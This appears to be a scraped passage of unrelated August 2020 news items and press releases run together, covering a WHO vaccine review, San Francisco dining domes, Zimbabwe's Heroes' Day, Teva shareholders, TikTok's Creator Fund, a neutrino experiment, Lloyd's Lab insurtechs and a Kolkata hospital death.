coding bootcamp designed to provide individuals with a foundation of skills that allow them to enter the industry as professional tech workers. About Cybint Cybint is a global cyber education company with a commitment to reskilling the workforce and upskilling the industry in cybersecurity. With innovative and leading-edge education and training solutions, Cybint tackles cybersecurity's two greatest threats: the talent shortage and the skills gap. The Cybint team is comprised of military cyber experts, industry professionals, and educators united under the vision of creating a safer digital world through education, training, and collaboration. SOURCE Cybint Related Links https://www.cybintsolutions.com The World Health Organization (WHO) and Russian health authorities are discussing the process for possible WHO prequalification for its newly approved COVID-19 vaccine, a WHO spokesman said on Tuesday. President Vladimir Putin said on Tuesday that Russia had become the first country in the world to grant regulatory approval to a COVID-19 vaccine after less than two months of human testing, a move hailed by Moscow as evidence of its scientific prowess. "We are in close contact with Russian health authorities and discussions are ongoing with respect to possible WHO prequalification of the vaccine, but again prequalification of any vaccine includes the rigorous review and assessment of all required safety and efficacy data," WHO spokesman Tarik Jasarevic told a UN briefing in Geneva, referring to clinical trials.Also Read: India should have coronavirus vaccine by December, says Adar Poonawalla Also Read: Coronavirus crisis: PM Modi holds virtual meeting with CMs of 10 states; key highlights We knew this was coming: I knew it, you knew it, anyone who didnt get a federal stimulus check knew it. In lieu of aggressive public policies that would actually take care of the people who make up this country during a massive global pandemic, we now have plastic dome-covered tables and quirky improvised patios being erected outside of restaurants solutions that beleaguered restaurateurs have slapped together to prevent their businesses and employees livelihoods from being completely wrecked as we enter the seventh month of this thing. The domes in question are at fine dining restaurant Hashiri, which is offering $200-per-person seatings inside the structures to offer safety and peace in Mint Plaza, an area near Fifth and Mission streets where many people, both unhoused and housed, often congregate. The striking image immediately ignited debate among readers, garnering dozens of responses when I solicited thoughts on social media. The domes look a bit difficult to keep clean, some said; others decried the cartoonish way the domes dramatized the citys wealth inequality, while expressing empathy for a restaurant industry pushed to such desperate measures. I think what really gets people going about the dome is that its a perfect symbol of the complete inadequacy of our social safety net: In a queer reversal, the dome is a shield against, not for, those who need sheltering the most. Its shape and transparency are both a visual echo and rebuttal to the multicolored rows of dome-shape tents that line the streets of downtown San Francisco: An unhoused persons tent is erected in a desire for opaqueness and privacy, a space of ones own, whereas the fine dining dome invites the onlookers gaze as a bombastic spectacle. The unhoused people who walk the streets of the nearby Tenderloin, who sleep and eat and gather their worldly items in the alcoves of buildings and under awnings, already live in a state of absolute visibility; for the housed, being seen eating on the street or in a park is a premium experience, especially now. Reader Maura Chen, an architectural designer and urbanist, likened the domes to a restaurant pop-up that took place in Toronto last year, where diners ate dinner in heated glass domes under an expressway where multiple homeless encampments had been evicted and demolished during a citywide crackdown on such encampments. The cost breakdown for the event, which will of course be coming to San Francisco in 2021, is $199.99 to reserve a dome and $109.99 per person to eat. Like the glass domes in Toronto, Hashiris setup entirely centers on the comfort of the consumer, Chen wrote to me. This disgustingly ostentatious version is so unapologetic about its protection of the customer and prioritizing of the consumers life over the folks preparing food or caring for those consumers. Each one has to be completely sanitized between seatings, and staff must flit between the tables and the restaurant kitchen during service. Food truck owner Victor Guzman, of La Santa Torta, said the dome is disrespectful toward those who need the communitys help. We should care for one another, not dispose of the less fortunate ones, he said. This makes us sad! Sarahbeth Maney/The Chronicle Several others mused that, if they have to go through all this trouble to eat out and feel protected from the virus, then takeout seemed like a less troublesome option. If culinary variety and a night of no dishes are what youre after, takeout works fine. When I think about what I miss about restaurants, its not the act of being served that I miss: Its the element of surprise that greets me whenever Im out, whether thats in some new dish or seeing a familiar face emerge from the kitchen or learning that the food runner and I were at the same concert the night before. Its in the interactions that lingering begets. To have masked restaurant workers put themselves into harms way just to change out my silverware feels like the wrong answer to that yearning that I think many feel for the old way of life. But right now, its the only answer that some restaurateurs can think of. Hashiri tried takeout, the manager told The Chronicle, but it hasnt been working. Plenty of other restaurants are in a similar position. The Paycheck Protection Program loan money, said to be earmarked for American small businesses, is all gone, and some will have to start paying those loans back as early as October. Restaurants that have been fortunate enough to receive those loans must start making enough money to pay them back, and that often means expanding their services beyond takeout and delivery. Those who cant, close. Since the start of shelter-in-place, dozens of well-known restaurants have already permanently shut their doors, and an innumerable amount of food workers have been left adrift, without affordable health insurance during a global health crisis. It feels like a mass culling. Accepting the optics of domes and other such structures is the bind that restaurants are finding themselves in right now. The pricey domes each costs more than $1,000 are a gamble. They, along with the improvised patios, are an investment that might not even pay off if, say, the Department of Public Health decides to clamp down on outdoor dining again. Food Guide Top 25 Restaurants Where to eat in the Bay Area. Find spots near you, create a dining wishlist, and more. I have mixed feelings on these domes, wrote reader Jenny Kim. I feel for the entire restaurant industry during this pandemic. I understand they are trying to find creative solutions in order to survive. But these domes also seem symbolic of all the inequities in our city. Thats why, even though the visual drama of the dome is so easy to grasp and the villains in this scenario seem fairly clear, its important to step back and consider why such measures are being taken. Were talking about domes because our nations pandemic response didnt take advantage of the lessons learned by other nations; because our health care system isnt accessible to people at all income levels; because there is no stimulus for the undocumented immigrants who feed the country; because restaurant staff and owners are forced to police diners mask wearing themselves to protect everyone around them from harm; and because both restaurateurs and working-class people who cannot do their jobs remotely have had to choose between their health and their livelihoods. Were talking about domes because this country doesnt take care of us. Can we hotbox them? Instagram user oldmaninthebay wrote to me of the domes. Like I honestly would if it were allowed. Sometimes you have to laugh to keep from crying. Soleil Ho is The San Francisco Chronicles restaurant critic. Email: soleil@sfchronicle.com Zimbabwean President Emmerson Mnangagwa (front) gives a speech at the Heroes' Day Commemoration in Harare, Zimbabwe, on Aug. 10, 2020. Zimbabweans celebrated the 40th anniversary of Heroes' Day on Monday amid the COVID-19 pandemic that is ravaging the nation. (Photo by Wanda/Xinhua) HARARE, Aug. 10 (Xinhua) -- Zimbabweans celebrated the 40th anniversary of Heroes' Day on Monday amid the COVID-19 pandemic that is ravaging the nation. Held without the usual festivities and funfare due to the current lockdown in place, President Emmerson Mnangagwa said the occasion occupies a special place in the history and development of the country as the nation takes time to pay tribute to fallen heroes and heroines who sacrificed their lives for the liberation of the country from British colonial rule. In a televised speech to mark the day, Mnangagwa bemoaned that this year's celebrations were taking place against a renewed onslaught on the country by its perennial detractors in and outside the country. "Let us however, not lose heart or be discouraged but look back to our rich history and draw lessons from our departed, who since the 1980s, united and showed resilience in their gallant fight against oppressive forces," Mnangagwa said. He urged the nation to remain united, continue to foster peace and defend its natural resources for the development of the nation. "The divisive falsehoods and concoctions by renegades and supremacists who want to pounce on our natural resources will never win the day," Mnangagwa vowed. He said his government will honor some of the country's distinguished liberation war fighters from both the First and Second Wars of independence, among them former President Robert Mugabe and former vice presidents Joshua Nkomo and Simon Muzenda. Construction of a statue of the 1890s female liberation war icon, Mbuya Nehanda, in Harare's central business district had already started, as government moves to immortalize the supreme sacrifice paid by the gallant fighters. "Other heroes and heroines from the early wars of resilience will also be honored in a similar manner. We must as a people appropriate our liberation war heritage and shape the narratives by telling our own journey to freedom and independence," Mnangagwa said. He said the list of the country's monuments is being reviewed to include liberation war shrines while liberation war shrines in neighboring Mozambique and Zambia will continue to be rehabilitated. Mnangagwa said his government was accelerating national development, although this was being affected by the effects of climate change and Western sanctions. Maximum land and mining rights utilization will be enforced, as government consolidates the gains of the liberation struggle, Mnangagwa said. "The blood of those who fought for our land shall forever be honored through maximum use of our land. The land that our heroes fought for includes all that which is under that land," the President said. He said Zimbabwe was on course to achieving a 12 billion U.S. dollars mining sector by 2023, while the country was also poised to change its current position of being a significant importer to become a net exporter of energy by 2023 through ongoing and planned power development projects. Road rehabilitation and tourism recovery strategies were also being implemented to accelerate economic development, while macroeconomic stabilization measures recently put in place by government were helping to stabilize the national currency and prices of goods and services, he said. The government was also prioritizing the security and welfare of people that have been left vulnerable due to COVID-19, Mnangagwa said, adding that his government's resolve to fighting corruption was unwavering. "The corrupt way is shut and those who choose that route will face dire consequences," Mnangagwa said. In light of the upsurge in COVID-19 infections and deaths, the nation needs to be more vigilant in fighting the scourge, he said. Zimbabwe has recorded 4,649 COVID-19 cases including 104 deaths and 1,437 recoveries as of Sunday. Every investor in Teva Pharmaceutical Industries Limited (NYSE:TEVA) should be aware of the most powerful shareholder groups. Generally speaking, as a company grows, institutions will increase their ownership. Conversely, insiders often decrease their ownership over time. Companies that have been privatized tend to have low insider ownership. With a market capitalization of US$13b, Teva Pharmaceutical Industries is rather large. We'd expect to see institutional investors on the register. Companies of this size are usually well known to retail investors, too. Our analysis of the ownership of the company, below, shows that institutional investors have bought into the company. Let's take a closer look to see what the different types of shareholder can tell us about Teva Pharmaceutical Industries. View our latest analysis for Teva Pharmaceutical Industries What Does The Institutional Ownership Tell Us About Teva Pharmaceutical Industries? Institutions typically measure themselves against a benchmark when reporting to their own investors, so they often become more enthusiastic about a stock once it's included in a major index. We would expect most companies to have some institutions on the register, especially if they are growing. We can see that Teva Pharmaceutical Industries does have institutional investors; and they hold a good portion of the company's stock. This can indicate that the company has a certain degree of credibility in the investment community. However, it is best to be wary of relying on the supposed validation that comes with institutional investors. They too, get it wrong sometimes. When multiple institutions own a stock, there's always a risk that they are in a 'crowded trade'. When such a trade goes wrong, multiple parties may compete to sell stock fast. This risk is higher in a company without a history of growth. You can see Teva Pharmaceutical Industries's historic earnings and revenue, below, but keep in mind there's always more to the story. Story continues Institutional investors own over 50% of the company, so together than can probably strongly influence board decisions. Hedge funds don't have many shares in Teva Pharmaceutical Industries. Capital Research and Management Company is currently the largest shareholder, with 16% of shares outstanding. Berkshire Hathaway Inc. is the second largest shareholder owning 3.9% of common stock, and BlackRock, Inc. holds about 3.6% of the company stock. A deeper look at our ownership data shows that the top 25 shareholders collectively hold less than half of the register, suggesting a large group of small holders where no one share holder has a majority. While studying institutional ownership for a company can add value to your research, it is also a good practice to research analyst recommendations to get a deeper understand of a stock's expected performance. There are plenty of analysts covering the stock, so it might be worth seeing what they are forecasting, too. Insider Ownership Of Teva Pharmaceutical Industries The definition of company insiders can be subjective, and does vary between jurisdictions. Our data reflects individual insiders, capturing board members at the very least. Management ultimately answers to the board. However, it is not uncommon for managers to be executive board members, especially if they are a founder or the CEO. I generally consider insider ownership to be a good thing. However, on some occasions it makes it more difficult for other shareholders to hold the board accountable for decisions. Our data suggests that insiders own under 1% of Teva Pharmaceutical Industries Limited in their own names. As it is a large company, we'd only expect insiders to own a small percentage of it. But it's worth noting that they own US$45m worth of shares. It is always good to see at least some insider ownership, but it might be worth checking if those insiders have been selling. General Public Ownership The general public holds a 44% stake in TEVA. This size of ownership, while considerable, may not be enough to change company policy if the decision is not in sync with other large shareholders. Public Company Ownership We can see that public companies hold 3.9%, of the Teva Pharmaceutical Industries shares on issue. It's hard to say for sure, but this suggests they have entwined business interests. This might be a strategic stake, so it's worth watching this space for changes in ownership. Next Steps: It's always worth thinking about the different groups who own shares in a company. But to understand Teva Pharmaceutical Industries better, we need to consider many other factors. Consider for instance, the ever-present spectre of investment risk. We've identified 2 warning signs with Teva Pharmaceutical Industries (at least 1 which is concerning) , and understanding them should be part of your investment process. But ultimately it is the future, not the past, that will determine how well the owners of this business will do. Therefore we think it advisable to take a look at this free report showing whether analysts are predicting a brighter future. NB: Figures in this article are calculated using data from the last twelve months, which refer to the 12-month period ending on the last date of the month the financial statement is dated. This may not be consistent with full year annual report figures. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned. Have feedback on this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team@simplywallst.com. A number of Chester residents have been stepping up to battle the illegal dumping of trash in their community with recent clean- up efforts. This past weekend, community groups including Making A Change Group, The Bridge Church and volunteers from Covanta, a trash-to-steam facility, gathered near the Edgemont Park Apartments to clean up a large pile of illegally dumped trash and furniture. Were supporting the efforts of a group of Chester residents that have been doing this for a few weeks now, said Cory Long, 44, the organizer of Saturdays clean-up. We realize the city has a trash issue and an illegal dumping issue. So weve been coming together with like-minded individuals, determined to clean our city up and help city officials with the load. Chester Mayor Thaddus Kirkland confirms there have been trash issues in the past few months as contactors have had employees come down with the coronavirus, have had to be quarantined, or have become so overwhelmed and depleted they actually quit. Its not just something that has happened in the city of Chester. Upper Darby had to quarantine their entire crew and Philadelphia is being overrun with trash, Kirkland said. We just ask residents to be patient and try their best to put out as little trash as they can. I know that is difficult. Kirkland also pointed out the city is shorthanded with a number of employees laid off. Were not all the way fully staffed, as of yet, many of our city workers are still laid off and many are working partial days, said Kirkland. Our workers are not working full time, as of yet. We are not only in a pandemic; we are in a receivership. Long, the founder of Making A Change Group, said volunteers were also at the Benjamin Banneker Homes working with residents in that community cleaning up. He said his organization was supporting Chester Sweeps a new group of residents that has been holding bi-weekly clean ups around the city. I was starting to notice the trash was piling up. Residents were illegally dumping because the city was not coming out to get the trash, said Carol Kazeem who, with fellow community organizers Kristie Barnes and MeChelle Gadson, decided to do something about it and formed Chester Sweeps. Lets go out to these residential areas and try to eliminate the trash thats not being picked up. I figured a lot of youngsters, like myself, can come out and initiate this. Weve been doing this for two months, every other Saturday. Cleaning up, doing the best we can do. The group has been moving around the city. Next week, they will be on Ninth and Ward at Memorial Park. Each Saturday the group cleans a different section of the citya. This past Saturday morning, the group descended on a large pile of illegally dumped debris near the Edgemont Park Apartments and quickly picked up the mattresses, chairs and bags of garbage and placed them in a dumpster supplied by the city for removal to the Covanta trash-to-steam plant that turns the trash from Chester County, and much of Delaware County, into energy. Hopefully, we can help find a solution to some of this illegal dumping, said Don Commarata, business manager for the Covanta facility, who was volunteering with six other members of his staff. We saw there an increase of this with the COVID, and we wanted to help out the community. Were neighbors. Commarata said the trash-to-steam plant produces 60 megawatts of power a year and employs than 100 local residents. George Odom of Woodlyn was among those helping Saturday. I come from this community, its the best possible way I can help, he said as he threw a bag of trash in the dumpster. Kirkland urged residents to report illegal dumpers to police. Our best way of catching dumpers are our residents, said Kirkland. We need their eyes and ears to catch them. When caught, we will fine and take their vehicles. Kirkland recommended using the downloadable Chester police app for phones. Residents can also call 610 447 7931. We need all the partners we can when it comes to keeping our city clean, said Kirkland. If other residents and community groups would like to join in help us to clean our city and keep it clean we are more than willing to partner with them. For those who would like to volunteer, Chester Sweeps will hold its next clean up this coming Saturday, Aug. 15, at Ninth and Ward at Memorial Park. Volunteers gather at 10:30 a.m with clean up beginning at 11. TikTok is facing an uncertain future and the popular app may be effectively banned in a few weeks by the Trump administration in the U.S. but its still plowing ahead as if all systems are go. Last month, TikTok announced the formation of a new Creator Fund to support creators who are building careers on the short-form video platform. Thats initially seeded with $200 million for the first year, growing to $1 billion in three years in the U.S. to reach hundreds of thousands of creators, according to the ByteDance-owned company. On Monday, TikTok announced the first 19 recipients to get money from the Creator Fund. The group includes Spencer X (Spencer Polanco Knight), a beat-boxer from Manhattan who has more than 40 million followers on TikTok, and top YouTuber David Dobrik, who has over 20 million TikTok followers. Others getting money from the TikTok Creator Fund include beauty and makeup influencer Avani Gregg (@avani, 24 million TikTok followers), comedian Ross Smith (@rosssmith, 11 million), photographer Alex Stemplewski (@alex.stemp, 9.6 million), and Brittany Tomlinson (@brittany_broski, 5 million). A rep for TikTok was unable to provide information about how much money each individual creator has been granted. All TikTok U.S. creators will be eligible to apply for Creator Fund money when the application process opens in-app in mid-August. To be eligible, users must be 18 years or older, have at least 10,000 followers, have accrued at least 10,000 video views in the last 30 days, have an account in good standing and post original content in line with TikToks Community Guidelines. This Fund was created for you, for your creativity, your passion, and your tenacious spirit to connect with others, Vanessa Pappas, GM of TikTok North America, Australia and New Zealand, wrote in a blog post. We invite you to turn your creativity into an opportunity to earn a livelihood, pursue another career, or simply, to be rewarded for doing what you love. Story continues The 19 creators who have been selected for the first grants from the TikTok Creator Fund (by their TikTok account name) are: acooknamedmatt, alex.stemp, avani, brittany_broski, cheyennejazwise, daviddobrik, doctor.jesss, dreadknotwoodshop, feelgoodfoodie, heyeliza, justmaiko, lgndfrvr, lifeofadoctor, marstruck, mattgresia, onlyjayus, rosssmith, spencerx and tonyyounmd. Theres a very real question, however, if TikTok will still be in business in the U.S. five weeks from now. Donald Trump has issued an executive order that would outlaw business dealings with TikTok in the U.S. by Sept. 20 if parent ByteDance cant close a deal with an American buyer for TikToks U.S.-based business by then. The president invoked national security concerns for the ban, noting that Chinese authorities could demand ByteDance fork over any TikTok user data. Microsoft last week confirmed that it has been exploring a TikTok acquisition and Twitter reportedly has held preliminary talks about a possible merger with TikTok. Meanwhile, TikTok has threatened to fight Trumps order in court and is reportedly set to file a federal lawsuit Tuesday challenging the move as unconstitutional. Disclosure: Variety has received funding from TikToks Creative Learning Fund to produce content for the platform. Regeneus and Kyocera Sign Progenza OA Deal Sydney, Aug 11, 2020 AEST (ABN Newswire) - Regeneus Ltd ( ASX:RGS ), a clinical-stage regenerative medicine company, today announced that Kyocera Corporation (Kyocera, TYO:6971 ) has signed a licence agreement to develop and commercialise Progenza for Knee Osteoarthritis (Progenza OA) in Japan.Highlights:- Regeneus and Kyocera have signed a licence and collaboration agreement for Kyocera to exclusively develop and commercialise Regeneus' lead stem cell platform technology Progenza for the treatment of Knee Osteoarthritis (Knee OA) in Japan- Regeneus to receive US$19m (A$27m) in upfront, development and regulatory milestone payments- Additional single to high double-digit royalties on Progenza OA product sales in Japan based on future reimbursement prices- Kyocera will fund manufacturing, development, and commercialisation costs for Progenza OA in Japan under the agreement- Upfront payment provides cash runway for Regeneus through to the commercial launch of Progenza OA in Japan o The global market for osteoarthritis is expected to grow to US$3.5 billion by 2026 with the Japanese market worth US$350 million. The potential osteoarthritis patient population is 25.6 million in Japan with 1.25 million people receiving treatment, and is expected to rise each year.Progenza OA has already completed a Phase I study which met all safety and efficacy endpoints. The study demonstrated that a single injection of Progenza OA into the knee was safe, tolerable and showed significant, rapid and sustained reductions in knee pain for osteoarthritis patients, and showed positive signs of disease modification showing no deterioration in the joint following the injection.The licence and collaboration agreement follows the two companies signing a Memorandum of Understanding (MOU) in March 2020, and Kyocera completing detailed due diligence on Progenza OA .Key highlights of the transaction- Licence and collaboration agreement for Japan signed with Kyocera for Progenza for Knee Osteoarthritiso Regeneus grants to Kyocera a licence enabling Kyocera to exclusively develop and commercialise Regeneus' lead mesenchymal stem cell (MSC) and Secretome technology Progenza, for the treatment of Knee Osteoarthritis (Progenza OA)o Collaboration agreement includes technology transfer and joint research on Progenza for Japano Kyocera has right of first refusal for other indications inside and outside of Japano Regeneus retains rights to negotiate licences with other parties outside of Japan for other indications for Progenzao Regeneus retains the rights to license indications other than Knee OA with other parties in Japan- Upfront payments, milestone payments and royaltieso Regeneus will receive US$19 million (A$27m) in upfront and milestone payments from Kyocera consisting of:US$9 million (A$13m) upfront payment, of which A$2m was received as part of the MOUUS$10 million (A$14m) in regulatory and development milestone paymentso Additionally, Regeneus will receive single to high double-digit royalties on all future Progenza OA product sales in Japan based on future reimbursement priceso Upfront payments expected to provide sufficient cash runway for Regeneus until the commercial launch of Progenza OA in Japan- Kyocera will be responsible for product development, manufacturing and regulatory activities in Japano Kyocera will be responsible for, and fund, the establishment of the manufacturing of clinical and commercial products, sponsoring clinical study for regulatory approval, all regulatory filings for drug approval and the reimbursement with Japan's National Health Insurance- Global addressable market for Osteoarthritiso The global market for osteoarthritis is expected to grow to US$3.5 billion by 2026 with the Japanese market worth US$350 million The potential osteoarthritis patient population is 25.6 million in Japan with 1.25 million people receiving treatment and is expected to rise each year.o Japan has a favourable regulatory environment for regenerative medicine and there is potential to fast track approval for Progenza as products can be approved for sale under specific conditions once safety and efficacy are confirmed. As previously noted, Progenza met all safety and efficacy endpoints in a Phase I study in 2018. Kyocera will work towards marketing approval for Progenza OA pending completion of a Phase II study."This agreement with Kyocera is an exciting development for Regeneus and is an endorsement of our Progenza platform technology. It provides a clear commercialisation pathway for Progenza and is a significant market given osteoarthritis potentially affects more than 25.6 million people in Japan alone" said Regeneus CEO Leo Lee."We look forward to working with Kyocera to take Progenza OA through the commercialisation process."About Osteoarthritis Osteoarthritis (OA) is the most common form of arthritis and is often referred to the 'wear and tear' around the tissue of joints and is characterised by pain and inflammation. While it can damage any joint, it commonly affects joints in the knees, hands and hips. The global market for OA is expected to grow to US$3.5 billion by 20266. Progenza addresses a large, unmet patient need for Knee OA ahead of invasive surgery as it treats pain and modifies the diseaseAbout Progenza OAA Phase I study of Progenza in OA patients (KL Grade 1-3) demonstrated significant treatment-related reductions in pain for up to 12 months, as well as stabilisation of cartilage volume in the target dose group Progenza's mechanism of actions turns inflammatory immune cells into anti-inflammatory cells, thereby addressing inflammation at its source. In turn this downregulates pain-causing signals and repairs damaged tissues, such as cartilage tissue, commonly found in joints such as knees and elbows.About Regeneus Ltd Regeneus Ltd (ASX:RGS) is a Sydney-based clinical-stage regenerative medicine company using stem cell technologies to develop a portfolio of novel cell-based therapies. The regenerative therapies seek to address unmet medical needs in human health markets, focusing on neuropathic pain, including osteoarthritis and various skin conditions, with its platform technologies Progenza(TM) and Sygenus. Visit www.regeneus.com.au for more information. University of Cincinnati physicists, as part of an international research team, are raising doubts about the existence of an exotic subatomic particle that failed to show up in twin experiments. UC College of Arts and Sciences associate professor Alexandre Sousa and assistant professor Adam Aurisano took part in an experiment at the Fermi National Accelerator Laboratory in search of sterile neutrinos, a suspected fourth "flavor" of neutrino that would join the ranks of muon, tau and electron neutrinos as elementary particles that make up the known universe. Finding a fourth type of neutrino would be huge, Sousa said. It would redefine our understanding of elementary particles and their interactions in what's known as the Standard Model. Researchers in two experiments called Daya Bay and MINOS+ collaborated on complementary projects in an intense effort to find sterile neutrinos using some of the world's most advanced and precise tools. "We apparently don't see any evidence for them," Aurisano said. The study was published in the journal Physical Review Letters and was featured in Physics Magazine, published by the American Physical Society. "It's an important result for particle physics," Sousa said. "It provides an almost definitive answer to a question that has been lingering for over 20 years." The research builds on previous studies that offered tantalizing possibilities for finding sterile neutrinos. But the new results suggest sterile neutrinos might not have been responsible for the anomalies researchers previously observed, Aurisano said. "Our results are incompatible with the sterile neutrino interpretation of the anomalies," he said. "So these experiments remove a possibility - the leading possibility - that oscillations into sterile neutrinos solely explain these anomalies." Neutrinos are tiny, so tiny they can't be broken down into something smaller. They are so small that they pass through virtually everything - mountains, lead vaults, you - by the trillions every second at virtually the speed of light. They are generated by the nuclear fusion reactions powering the sun, radioactive decays in nuclear reactors or in the Earth's crust, and in particle accelerator labs, among other sources. And as they travel, they often transition from one type (tau, electron, muon) to another or back. But theorists have suggested there might be a fourth neutrino that interacts only with gravity, making them far harder to detect than the other three that also interact with matter through the weak nuclear force. The experiment Daya Bay is composed of eight detectors arrayed around six nuclear reactors outside Hong Kong. MINOS+ uses a particle accelerator in Illinois to shoot a beam of neutrinos 456 miles through the curvature of the Earth to detectors waiting in Minnesota. "We would all have been absolutely thrilled to find evidence for sterile neutrinos, but the data we have collected so far do not support any kind of sterile neutrino oscillation," said Pedro Ochoa-Ricoux, associate professor at the University of California, Irvine. Researchers expected to see muon neutrinos seemingly vanish into thin air when they transitioned into sterile neutrinos. But that's not what happened. "We expected to see muon neutrinos oscillating to sterile neutrinos and disappear," Aurisano said. Despite the findings, Aurisano said he thinks sterile neutrinos do exist, at least in some form. "I think sterile neutrinos are more likely than not to exist at high energies. At the very beginning of the universe, you'd expect there would be sterile neutrinos," he said. "Without them, it's hard to explain aspects of neutrino mass." But Aurisano is skeptical about finding light sterile neutrinos that many theorists expected them to find in the experiments. "Our experiment disfavors light or lower-mass sterile neutrinos," he said. Sousa said some of his research was truncated somewhat by the global COVID-19 pandemic when Fermilab shut down accelerator operations months earlier than expected. But researchers continued to use massive supercomputers to examine data from the experiments, even while working from home during the quarantine. "It's one of the blessings of high energy physics," Aurisano said. "Fermilab has all the data online and the computing infrastructure is spread out around the world. So as long as you have the internet you can access all the data and all the computational facilities to do the analyses." Still, Aurisano said it takes some adjusting to work from home. "It was easier when I had dedicated hours at the office. It's a challenge sometimes to work from home," he said. ### On the Frontline Against China, the US Coast Guard Is Taking on Missions the US Navy Can't Do Competition with China has drawn more Pentagon resources to the Pacific, but the most visible U.S. military presence there... The Lloyds re/insurance market announced the latest cohort of insurtech disruptors that will join its Lloyds Lab innovation accelerator program with a focus on COVID-19 products and solutions. The insurtechs will look at new types of insurance to support the COVID-19 response; help the Lloyds market to assess COVID-19 risks, and help Lloyds customers to adapt to a changing workplace. The insurtech startups will focus on three key themes: data and models; new insurance products and markets, and response to COVID-19. The new Lloyds Lab teams will join Praedicat, Metabiota and Dialogue, three teams specially selected in June to work on Lloyds COVID-19 response. More than 140 applications were received from across the world for the fifth cohort of the Lloyds Lab, which begins Sept. 7, 2020. The 10 successful teams were selected after presenting their ideas in a competitive process during a virtual pitch day on July 29, 2020. This is the second completely virtual Lloyds Lab cohort following the successful completion of cohort four. In July, the Lloyds Lab ran its first Fusion program, a new three-day event designed to test early-stage start-up ideas aimed at dealing with COVID-19 and other systemic risks. Three of the teams who took part in Fusion Ryskex, Hivemind and Geollect have been successful in their application to the fifth cohort of the lab. In the first four cohorts, start-ups, entrepreneurs and businesses have presented ideas ranging from live-streaming drones to event-based parametric insurance solutions for catastrophic flooding and on-demand insurance for the gig economy. Examples of success stories so far can be seen in alumni members such as ClimaCell, Parsyl, Layr and Flock. This cohort of insurtechs will play an important role in our response to the COVID-19 pandemic and to help us develop the new models and insurance products of the future. We will undoubtedly need new products and services for insurers to deliver confidence and security against future waves of this pandemic and other systemic risks of the scale we have seen in 2020, commented Trevor Maynard, head of Innovation. Lloyds described the 10 teams selected for cohort five of Lloyds Lab as follows: Ryskex provides a blockchain-based ecosystem for Alternative Rysk Transfers and innovative insurance solutions. Its focus is on uninsurable risks in todays insurance environment. (The company is headquartered in Berlin, Germany) provides a blockchain-based ecosystem for Alternative Rysk Transfers and innovative insurance solutions. Its focus is on uninsurable risks in todays insurance environment. (The company is headquartered in Berlin, Germany) Hivemind Technologies provides a software platform for managing human-in-the-loop data preparation. Its newest product, AGORA, is a tool for eliciting and aggregating expert judgements using a prediction market mechanism. (Oxford, UK.) provides a software platform for managing human-in-the-loop data preparation. Its newest product, AGORA, is a tool for eliciting and aggregating expert judgements using a prediction market mechanism. (Oxford, UK.) Geollect is an agile geospatial intelligence and analysis company, providing dynamic insights for decision support to a network of global clients in the defence, maritime insurance and cruise industries. (Bristol, UK) is an agile geospatial intelligence and analysis company, providing dynamic insights for decision support to a network of global clients in the defence, maritime insurance and cruise industries. (Bristol, UK) KnowRisk is a consortium of companies bringing the insurance and audit industries together for the first time. The platform builds a digital twin of site and supply chain risk by combining insurance, audit and internal company data. (London, UK) is a consortium of companies bringing the insurance and audit industries together for the first time. The platform builds a digital twin of site and supply chain risk by combining insurance, audit and internal company data. (London, UK) Predata is an AI company focused on uncovering predictive behaviors in online activity. The company has built a global comprehensive predictive analytics platform for geopolitical risk, enabling customers with global exposure to discover, quantify, and act upon dynamic shifts in online attention. (New York City) is an AI company focused on uncovering predictive behaviors in online activity. The company has built a global comprehensive predictive analytics platform for geopolitical risk, enabling customers with global exposure to discover, quantify, and act upon dynamic shifts in online attention. (New York City) Thimble , the business insurance start-up known for its monthly and on-demand policies, is developing a low-limit, first-line-of-defence, parametric contingent business interruption coverage to protect SMBs from COVID-19 and future pandemics. (New York City) , the business insurance start-up known for its monthly and on-demand policies, is developing a low-limit, first-line-of-defence, parametric contingent business interruption coverage to protect SMBs from COVID-19 and future pandemics. (New York City) Blink Parametric is focused on parametric insurance innovation and transforming the complex products of its insurance and InsurTech clients into simple, intuitive, real-time, online services via its customisable platform. (Cork, Ireland) is focused on parametric insurance innovation and transforming the complex products of its insurance and InsurTech clients into simple, intuitive, real-time, online services via its customisable platform. (Cork, Ireland) HazardHub provides a comprehensive, detailed set of peril risk and property characteristics is a lightning-fast API. They deliver over 800 characteristics for any location in the US, allowing insurers to better understand the risk of a property before committing to an underwriting decision. (San Diego) provides a comprehensive, detailed set of peril risk and property characteristics is a lightning-fast API. They deliver over 800 characteristics for any location in the US, allowing insurers to better understand the risk of a property before committing to an underwriting decision. (San Diego) Hailios is an Internet of Things (IoT) and data analytics company that empowers the insurance industry with real-time, ground truth weather data. They have tight focus on severe convective storms and an ability to sense multiple characteristics of hailstorms. (Colorado Springs, U.S.) is an Internet of Things (IoT) and data analytics company that empowers the insurance industry with real-time, ground truth weather data. They have tight focus on severe convective storms and an ability to sense multiple characteristics of hailstorms. (Colorado Springs, U.S.) Inclusivity Solutions designs, builds, operates and innovates digital insurance solutions that enable financial inclusion and address the protection gap in emerging markets. They partner with mobile operators, banks, insurance companies and other financial institutions to deliver simple and affordable insurance cover through mobile phones. (Cape Town, South Africa) Source: Lloyds Related: Topics COVID-19 InsurTech Excess Surplus Tech Lloyd's Kolkata, Aug 11 : A 60-year-old female coronavirus patient died in an ambulance outside a private hospital in Kolkata while allegedly awaiting admission as her family failed to deposit in time Rs 3 lakh demanded by the staff. The incident took place at Desun Hospital on the EM Bypass here on Monday night. The patient had been brought from East Midnapore's Tomluk. The deceased's husband had died of Covid-19 three days ago. Her family said that when they took the patient to the hospital they were asked to deposit Rs 3 lakh. They said they immediately deposited Rs 80,000 and asked for an hour to arrange the remaining amount. But, they alleged, the hospital authorities categorically told them that doctors would not be able to start treatment unless the full payment was made. Later, they arranged Rs 2 lakh more and deposited the amount in a bank account, but the patient had died by then in the ambulance. Despite repeated attempts, hospital authorities refused to issue any media statement on the issue. "Chief Minister Mamata Banerjee has clearly given instructions to all private medical fecilities not to delay treatment in such emergencies. This is absolutely uncalled for," Indian Medical Association (IMA) President and Trinamool Congress Rajya Sabha MP Shantanu Sen said. Sen also urged the bereaved family to approach the state medical regulatory commission with a formal complaint for necessary action against the hospital authorities. In another incident of alleged medical negligence in adjoining Howrah district's Jaiswal hospital, coronavirus positive patient Moumita Ghosh was denied proper care. Ghosh was admitted to the hospital for the past seven day but suddenly developed respiratory problem and asked for 